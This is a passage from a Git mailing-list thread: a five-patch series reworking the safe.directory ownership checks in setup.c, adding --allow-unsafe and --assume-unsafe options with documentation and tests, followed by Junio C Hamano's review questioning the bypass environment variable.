    +    a directory and failing the operation before consulting the
    +    ownership-based rule, will start to matter.  As a preliminary change,
    +    reorder the existing checks.
     
         Signed-off-by: Michael Lohmann <git@lohmann.sh>
     
    @@ setup.c: static int ensure_safe_repository(const char *gitfile,
     +	return 0;
      }
      
    - void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
    + void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
4:  db31fdef4e ! 4:  385250b16c setup: allow temporary bypass of `ensure_safe_repository()` checks
    @@ setup.c: static int ensure_safe_repository(const char *gitfile,
      	/*
      	 * normalize the data.path for comparison with normalized paths
      	 * that come from the configuration file.  The path is unsafe
    -@@ setup.c: void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
    +@@ setup.c: void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
      	      "%s"
      	      "To add an exception for this directory, call:\n"
      	      "\n"
5:  6f710af1da ! 5:  ba8eb928b4 setup: allow not marking self owned repos as safe in `ensure_safe_repository()`
    @@ t/t0036-allow-unsafe-directory.sh: test_expect_success 'GIT_ALLOW_UNSAFE bool al
     +	test_must_fail git --assume-unsafe status 2>err &&
     +	grep "dubious ownership" err
     +'
    ++
     +test_expect_success 'GIT_ASSUME_UNSAFE prevents execution if not in safe.directory' '
     +	test_must_fail env GIT_ASSUME_UNSAFE=1 \
     +			   git status 2>err &&
-- 
2.51.1.476.g147428281d

[PATCH v3 1/5] setup: rename `ensure_safe_repository()` for clarity

[Michael Lohmann]

In addition to ownership it checks for "safe.directory" config, making
the name `ensure_valid_ownership()` not expressive. This function
ensures that a repository is considered to be safe.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.c b/setup.c
index 7086741e6c..2c41874774 100644
--- a/setup.c
+++ b/setup.c
@@ -1301,7 +1301,7 @@ static int safe_directory_cb(const char *key, const char *value,
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-static int ensure_valid_ownership(const char *gitfile,
+static int ensure_safe_repository(const char *gitfile,
 				  const char *worktree, const char *gitdir,
 				  struct strbuf *report)
 {
@@ -1339,7 +1339,7 @@ void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
 	const char *path;
 
-	if (ensure_valid_ownership(gitfile, worktree, gitdir, &report))
+	if (ensure_safe_repository(gitfile, worktree, gitdir, &report))
 		return;
 
 	strbuf_complete(&report, '\n');
@@ -1526,7 +1526,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			const char *gitdir_candidate =
 				gitdir_path ? gitdir_path : gitdirenv;
 
-			if (ensure_valid_ownership(gitfile, dir->buf,
+			if (ensure_safe_repository(gitfile, dir->buf,
 						   gitdir_candidate, report)) {
 				strbuf_addstr(gitdir, gitdirenv);
 				ret = GIT_DIR_DISCOVERED;
@@ -1554,7 +1554,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			if (get_allowed_bare_repo() == ALLOWED_BARE_REPO_EXPLICIT &&
 			    !is_implicit_bare_repo(dir->buf))
 				return GIT_DIR_DISALLOWED_BARE;
-			if (!ensure_valid_ownership(NULL, NULL, dir->buf, report))
+			if (!ensure_safe_repository(NULL, NULL, dir->buf, report))
 				return GIT_DIR_INVALID_OWNERSHIP;
 			strbuf_addstr(gitdir, ".");
 			return GIT_DIR_BARE;
-- 
2.51.1.476.g147428281d

[PATCH v3 2/5] setup: rename `die_upon_unsafe_repo()` to align with check

[Michael Lohmann]

This function dies if the repo in question is deemed to be unsafe and
the ownership is only part of the verification. In addition it already
checks for "safe.directory" config, making the name
`die_upon_dubious_ownership()` not expressive.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Helped-by: Junio C Hamano <gitster@pobox.com>
Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 builtin/clone.c | 2 +-
 path.c          | 4 ++--
 setup.c         | 2 +-
 setup.h         | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/builtin/clone.c b/builtin/clone.c
index c990f398ef..08b04f5cf2 100644
--- a/builtin/clone.c
+++ b/builtin/clone.c
@@ -263,7 +263,7 @@ static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
 	 * operation as the hardlinked files can be rewritten at will by the
 	 * potentially-untrusted user. We thus refuse to do so by default.
 	 */
-	die_upon_dubious_ownership(NULL, NULL, src_repo);
+	die_upon_unsafe_repo(NULL, NULL, src_repo);
 
 	mkdir_if_missing(dest->buf, 0777);
 
diff --git a/path.c b/path.c
index 7f56eaf993..c2ea450304 100644
--- a/path.c
+++ b/path.c
@@ -810,7 +810,7 @@ const char *enter_repo(const char *path, unsigned flags)
 			return NULL;
 		gitfile = read_gitfile(used_path.buf);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, used_path.buf);
+			die_upon_unsafe_repo(gitfile, NULL, used_path.buf);
 		if (gitfile) {
 			strbuf_reset(&used_path);
 			strbuf_addstr(&used_path, gitfile);
@@ -822,7 +822,7 @@ const char *enter_repo(const char *path, unsigned flags)
 	else {
 		const char *gitfile = read_gitfile(path);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, path);
+			die_upon_unsafe_repo(gitfile, NULL, path);
 		if (gitfile)
 			path = gitfile;
 		if (chdir(path))
diff --git a/setup.c b/setup.c
index 2c41874774..c6e1204c05 100644
--- a/setup.c
+++ b/setup.c
@@ -1333,7 +1333,7 @@ static int ensure_safe_repository(const char *gitfile,
 	return data.is_safe;
 }
 
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir)
 {
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
diff --git a/setup.h b/setup.h
index 8522fa8575..3f7ef03bf9 100644
--- a/setup.h
+++ b/setup.h
@@ -51,7 +51,7 @@ const char *resolve_gitdir_gently(const char *suspect, int *return_error_code);
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir);
 
 void setup_work_tree(void);
-- 
2.51.1.476.g147428281d

[PATCH v3 3/5] setup: refactor `ensure_safe_repository()` testing priorities

[Michael Lohmann]

With the current code, this change does not make any difference because
there is no explicit rule that lets you reject a directory that the
ownership-based rule may accept.  In a later step in this series,
however, we will introduce a mechanism to allow such an explicit rule,
at which point the order of checks, i.e. seeing the explicit rule reject
a directory and failing the operation before consulting the
ownership-based rule, will start to matter.  As a preliminary change,
reorder the existing checks.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/setup.c b/setup.c
index c6e1204c05..5ec68be379 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,12 +1307,6 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
-	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
-	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
-	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
-	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
-		return 1;
-
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1330,7 +1324,16 @@ static int ensure_safe_repository(const char *gitfile,
 	git_protected_config(safe_directory_cb, &data);
 
 	free(data.path);
-	return data.is_safe;
+	if (data.is_safe)
+		return 1;
+
+	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
+	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
+	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
+	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
+		return 1;
+
+	return 0;
 }
 
 void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
-- 
2.51.1.476.g147428281d

[PATCH v3 4/5] setup: allow temporary bypass of `ensure_safe_repository()` checks

[Michael Lohmann]

So far, the only option to allow executing git in what it considers to
be an "unsafe context" is to set this repository as "safe.directory". If
a user only wants to temporarily execute one command, they would need to
set the path as safe, execute the command and then remove the path
again. Forgetting to do the latter would make the user vulnerable if
this repo was changed afterwards in a malicious way.

Allow temporarily bypassing `ensure_safe_repository()` checks with a new
flag "--allow-unsafe" or environment variable "GIT_ALLOW_UNSAFE".

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 Documentation/git.adoc            | 13 +++++++++++++
 environment.h                     |  1 +
 git.c                             |  5 +++++
 setup.c                           | 13 +++++++++++--
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 28 ++++++++++++++++++++++++++++
 6 files changed, 59 insertions(+), 2 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index ce099e78b8..7df51c38f9 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,6 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
+    [--allow-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -231,6 +232,12 @@ If you just want to run git as if it was started in `<path>` then use
 	linkgit:gitattributes[5]. This is equivalent to setting the
 	`GIT_ATTR_SOURCE` environment variable.
 
+--allow-unsafe::
+	Temporarily trust the repository regardless of "safe.directory"
+	configuration or ownership, potentially resulting in arbitrary code
+	execution by hooks or configuration settings. Equivalent to setting
+	the environment variable `GIT_ALLOW_UNSAFE=1`.
+
 GIT COMMANDS
 ------------
 
@@ -493,6 +500,12 @@ These environment variables apply to 'all' core Git commands. Nb: it
 is worth noting that they may be used/overridden by SCMS sitting above
 Git so take care if using a foreign front-end.
 
+`GIT_ALLOW_UNSAFE`::
+	This Boolean environment variable can be set to true to skip the
+	safety checks of "safe.directory" configuration and if the user
+	owns the repository before potentially executing arbitrary code
+	from hooks or config.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index 51898c99cd..ee9e1b9514 100644
--- a/environment.h
+++ b/environment.h
@@ -42,6 +42,7 @@
 #define GIT_OPTIONAL_LOCKS_ENVIRONMENT "GIT_OPTIONAL_LOCKS"
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
+#define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index c5fad56813..a7581a6805 100644
--- a/git.c
+++ b/git.c
@@ -42,6 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
+	   "           [--allow-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -354,6 +355,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ADVICE_ENVIRONMENT, "0", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--allow-unsafe")) {
+			setenv(GIT_ALLOW_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 5ec68be379..515d1eedc0 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,6 +1307,9 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
+	if (git_env_bool("GIT_ALLOW_UNSAFE", 0))
+		return 1;
+
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1353,7 +1356,10 @@ void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
 	      "%s"
 	      "To add an exception for this directory, call:\n"
 	      "\n"
-	      "\tgit config --global --add safe.directory %s"),
+	      "\tgit config --global --add safe.directory %s\n"
+	      "\n"
+	      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+	      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 	    path, report.buf, quoted.buf);
 }
 
@@ -1797,7 +1803,10 @@ const char *setup_git_directory_gently(int *nongit_ok)
 			      "%s"
 			      "To add an exception for this directory, call:\n"
 			      "\n"
-			      "\tgit config --global --add safe.directory %s"),
+			      "\tgit config --global --add safe.directory %s\n"
+			      "\n"
+			      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+			      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 			    dir.buf, report.buf, quoted.buf);
 		}
 		*nongit_ok = 1;
diff --git a/t/meson.build b/t/meson.build
index 401b24e50e..911cd45638 100644
--- a/t/meson.build
+++ b/t/meson.build
@@ -100,6 +100,7 @@ integration_tests = [
   't0033-safe-directory.sh',
   't0034-root-safe-directory.sh',
   't0035-safe-bare-repository.sh',
+  't0036-allow-unsafe-directory.sh',
   't0040-parse-options.sh',
   't0041-usage.sh',
   't0050-filesystem.sh',
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
new file mode 100755
index 0000000000..4b98e815ff
--- /dev/null
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+test_description='verify safe.directory checks'
+
+. ./test-lib.sh
+
+GIT_TEST_ASSUME_DIFFERENT_OWNER=1
+export GIT_TEST_ASSUME_DIFFERENT_OWNER
+
+expect_rejected_dir () {
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+}
+
+test_expect_success 'safe.directory is not set' '
+	expect_rejected_dir
+'
+
+test_expect_success '--allow-unsafe allows execution in unsafe directory' '
+	git --allow-unsafe status
+'
+
+test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
+	env GIT_ALLOW_UNSAFE=true \
+	    git status
+'
+
+test_done
-- 
2.51.1.476.g147428281d

[PATCH v3 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[Michael Lohmann]

Git considers all repositories as safe, if they are either
 - explicitly set in "safe.directory" config, or
 - the user owns the repo

Since a user could unzip a folder they downloaded from the internet and
unknown to them, it is a repository with malicious hooks/config, an
attacker could easily get code execution. Even a command line prompt
would automatically trigger this if executing `git status` after
entering the malicious directory.

Allow not to automatically treat all repos owned by the user as safe.
This can either be done by "--assume-unsafe", the environment variable
"GIT_ASSUME_UNSAFE" or by setting the configuration "safe.assumeUnsafe"
in a safe context (so not the repo config, as it should not be able to
allow list itself).

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 Documentation/config/safe.adoc    |  9 +++++++
 Documentation/git.adoc            | 14 +++++++++-
 environment.h                     |  1 +
 git.c                             |  6 ++++-
 setup.c                           |  9 +++++++
 t/t0036-allow-unsafe-directory.sh | 43 +++++++++++++++++++++++++++++++
 6 files changed, 80 insertions(+), 2 deletions(-)

diff --git a/Documentation/config/safe.adoc b/Documentation/config/safe.adoc
index 2d45c98b12..d93881d6c0 100644
--- a/Documentation/config/safe.adoc
+++ b/Documentation/config/safe.adoc
@@ -60,3 +60,12 @@ which id the original user has.
 If that is not what you would prefer and want git to only trust
 repositories that are owned by root instead, then you can remove
 the `SUDO_UID` variable from root's environment before invoking git.
+
+safe.assumeUnsafe::
+	Boolean to indicate that the ownership of a repository should not
+	be taken into account when checking if the repository is safe. It
+	will prevent against accidental arbitrary code execution.
++
+To temporarily allow git execution in case of an assumed unsafe repository,
+run the command with `--allow-unsafe`. To permanently trust this path, add
+it to the `safe.directory` config.
diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index 7df51c38f9..e24dafc2a9 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,7 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
-    [--allow-unsafe]
+    [--allow-unsafe] [--assume-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -238,6 +238,13 @@ If you just want to run git as if it was started in `<path>` then use
 	execution by hooks or configuration settings. Equivalent to setting
 	the environment variable `GIT_ALLOW_UNSAFE=1`.
 
+--assume-unsafe::
+	Prevent arbitrary code execution by hooks or configuration if not
+	executed in a "safe.directory". With setting this, filesystem ownership
+	of the repository in question no longer satisfies to mark it as safe.
+	Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overridden if
+	`--allow-unsafe` is passed as well.
+
 GIT COMMANDS
 ------------
 
@@ -506,6 +513,11 @@ Git so take care if using a foreign front-end.
 	owns the repository before potentially executing arbitrary code
 	from hooks or config.
 
+`GIT_ASSUME_UNSAFE`::
+	This Boolean environment variable can be set to true enforce
+	explicit "safe.directory" configuration for the repository. This
+	can be overridden by setting `GIT_ALLOW_UNSAFE`.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index ee9e1b9514..89036a9460 100644
--- a/environment.h
+++ b/environment.h
@@ -43,6 +43,7 @@
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
 #define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
+#define GIT_ASSUME_UNSAFE "GIT_ASSUME_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index a7581a6805..40ef89558d 100644
--- a/git.c
+++ b/git.c
@@ -42,7 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
-	   "           [--allow-unsafe]\n"
+	   "           [--allow-unsafe] [--assume-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -359,6 +359,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ALLOW_UNSAFE, "1", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--assume-unsafe")) {
+			setenv(GIT_ASSUME_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 515d1eedc0..0c056438a6 100644
--- a/setup.c
+++ b/setup.c
@@ -1238,6 +1238,12 @@ static int safe_directory_cb(const char *key, const char *value,
 {
 	struct safe_directory_data *data = d;
 
+	if (!strcmp(key, "safe.assumeunsafe")) {
+		if (git_config_bool(key, value))
+			setenv(GIT_ASSUME_UNSAFE, value, 0);
+		return 0;
+	}
+
 	if (strcmp(key, "safe.directory"))
 		return 0;
 
@@ -1330,6 +1336,9 @@ static int ensure_safe_repository(const char *gitfile,
 	if (data.is_safe)
 		return 1;
 
+	if (git_env_bool("GIT_ASSUME_UNSAFE", 0))
+		return 0;
+
 	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
 	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
 	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
index 4b98e815ff..98087322a2 100755
--- a/t/t0036-allow-unsafe-directory.sh
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -25,4 +25,47 @@ test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
 	    git status
 '
 
+test_expect_success '--assume-unsafe prevents execution if not in safe.directory' '
+	sane_unset GIT_TEST_ASSUME_DIFFERENT_OWNER &&
+	git status &&
+	test_must_fail git --assume-unsafe status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'GIT_ASSUME_UNSAFE prevents execution if not in safe.directory' '
+	test_must_fail env GIT_ASSUME_UNSAFE=1 \
+			   git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe on the command line' '
+	test_must_fail git -c safe.assumeUnsafe="true" status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in the environment' '
+	test_must_fail env GIT_CONFIG_COUNT=1 \
+	    GIT_CONFIG_KEY_0="safe.assumeUnsafe" \
+	    GIT_CONFIG_VALUE_0="true" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in GIT_CONFIG_PARAMETERS' '
+	test_must_fail env GIT_CONFIG_PARAMETERS="${SQ}safe.assumeUnsafe${SQ}=${SQ}true${SQ}" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'ignoring safe.assumeUnsafe in repo config' '
+	git config safe.assumeUnsafe "false" &&
+	git config --global safe.assumeUnsafe "true" &&
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'allow-unsafe must override assume-unsafe' '
+	env GIT_ASSUME_UNSAFE=1 git --allow-unsafe status
+'
+
 test_done
-- 
2.51.1.476.g147428281d

Re: [PATCH v3 4/5] setup: allow temporary bypass of `ensure_safe_repository()` checks

[Junio C Hamano]

Michael Lohmann <git@lohmann.sh> writes:

> So far, the only option to allow executing git in what it considers to
> be an "unsafe context" is to set this repository as "safe.directory". If
> a user only wants to temporarily execute one command, they would need to
> set the path as safe, execute the command and then remove the path
> again. Forgetting to do the latter would make the user vulnerable if
> this repo was changed afterwards in a malicious way.

If you want to do a one-shot thing, wouldn't ...

	$ cd $there
	$ GIT_DIR=$(pwd)/.git GIT_WORK_TREE=$(pwd) git ...

... be more or less the standard practice?  If you are at the top
level of the working tree (which is why the above example uses
$(pwd)/.git for GIT_DIR), you do not even have to specify
GIT_WORK_TREE and get away with

	$ GIT_DIR=.git git ...

In other words, the above argument does not sound like a very strong
justification.

> +--allow-unsafe::
> +	Temporarily trust the repository regardless of "safe.directory"
> +	configuration or ownership, potentially resulting in arbitrary code
> +	execution by hooks or configuration settings.

As the only justification for this new feature to exist that was
explained in the proposed log message was "one shot execution", this
command line option does look justifiable.  Even though with the
current system, you do not have to muck with configuration files and
only have to set the GIT_DIR environment variable, passing this
command line option that does not take a value may still be slightly
easier.

> + Equivalent to setting
> +	the environment variable `GIT_ALLOW_UNSAFE=1`.

But such an enviornment variable is not justified.  Setting an
engironment variable would last until you unset it, and it implies
that it is no longer a single shot use case that this new feature
targets.

> +`GIT_ALLOW_UNSAFE`::
> +	This Boolean environment variable can be set to true to skip the
> +	safety checks of "safe.directory" configuration and if the user
> +	owns the repository before potentially executing arbitrary code
> +	from hooks or config.

Please don't add this.  It has the same "Forgetting to unset the
environment variable will make the user vulnerable" downside as
temporarily editing your configuration file.

Not convinced why this feature must exist, at least not yet.

Re: [PATCH v3 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[Junio C Hamano]

Michael Lohmann <git@lohmann.sh> writes:

> +safe.assumeUnsafe::
> +--assume-unsafe::
> +`GIT_ASSUME_UNSAFE`::

I haven't thought things through thoroughly yet, but this probably
is a good thing to have.  I cannot say the same to [4/5], though.

> @@ -1330,6 +1336,9 @@ static int ensure_safe_repository(const char *gitfile,
>  	if (data.is_safe)
>  		return 1;
>  
> +	if (git_env_bool("GIT_ASSUME_UNSAFE", 0))
> +		return 0;
> +
>  	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
>  	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
>  	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&

I think you didn't have to do anything in [3/5] for this, though.

It is sufficient to pretend as if GIT_TEST_ASSUME_DIFFERENT_OWNER is
set when GIT_ASSUME_UNSAFE (and its config/option equivalents) is
set, no?  IOW, wouldn't it be equivalent to your series, if you
dropped [3/5] and replace this hunk with the following?

 setup.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git i/setup.c w/setup.c
index 7086741e6c..e3c81a6fae 100644
--- i/setup.c
+++ w/setup.c
@@ -1307,7 +1307,8 @@ static int ensure_valid_ownership(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
-	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
+	if (!git_env_bool("GIT_ASSUME_UNSAFE", 0) &&
+	    !git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
 	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
 	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
 	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))

Re: [PATCH v3 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[Junio C Hamano]

Michael Lohmann <git@lohmann.sh> writes:

> Git considers all repositories as safe, if they are either
>  - explicitly set in "safe.directory" config, or
>  - the user owns the repo

If you are going to reroll this step, please add a few more cases to
the list above.  There are other code paths in setup.c that does not
call ensure_valid_ownership().  Treating an explicitly specified git
directory as safe is one of them (there may or may not be others, I
didn't check).